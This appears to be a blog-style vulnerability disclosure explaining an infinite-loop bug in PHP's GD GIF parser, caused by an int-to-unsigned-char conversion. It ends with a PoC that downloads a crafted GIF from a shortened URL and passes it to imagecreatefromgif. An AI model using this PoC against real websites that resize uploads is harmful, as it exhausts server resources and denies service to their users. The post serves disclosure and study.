Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!
### Affected
All PHP version
* PHP 5 < 5.6.33
* PHP 7.0 < 7.0.27
* PHP 7.1 < 7.1.13
* PHP 7.2 < 7.2.1
### Vulnerability Details
The vulnerability is on the file [`ext/gd/libgd/gd_gif_in.c`](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c)
There is a while-loop in [`LWZReadByte`](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L460)
```
460 do {
461 sd->firstcode = sd->oldcode =
461 GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
463 } while (sd->firstcode == sd->clear_code);
```
Function `GetCode` is just a wrapper, and [`GetCode_`](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L376) do the real stuff.
```
376 static int
377 GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
378 {
379 int i, j, ret;
380 unsigned char count;
...
399 if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
400 scd->done = TRUE;
...
405 }
```
`GetCode_` call [`GetDataBlock`](https://github.com/php/php-src/blob/c5767db441e4db2a1e07b5880129ad7ce0b25b6f/ext/gd/libgd/gd_gif_in.c#L333) to read data from GIF!
```
332 static int
333 GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
334 {
335 unsigned char count;
336
336 if (! ReadOK(fd,&count,1)) {
338 return -1;
339 }
340
341 *ZeroDataBlockP = count == 0;
342
343 if ((count != 0) && (! ReadOK(fd, buf, count))) {
344 return -1;
345 }
346
347 return count;
348 }
```
OK, here are all vulnerable code, can you spot the vulnerability? :P
The bug relied on the type conversion from int to `unsigned` char. As you can see:
If `GetDataBlock_` return `-1`, `scd->done` in line 400 will set to True, and stop the while-loop. But it will never be executed because the definition of `count` is `unsigned char`, it’s always be a positive from 0 to 255.
So the result is, one single GIF can make an infinite loop and exhausted the server resource.
### PoC
```
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
Infinite loop here...
```
It's easy to exploit in real world because lots of websites resize user-uploaded image by GD library...
暂无评论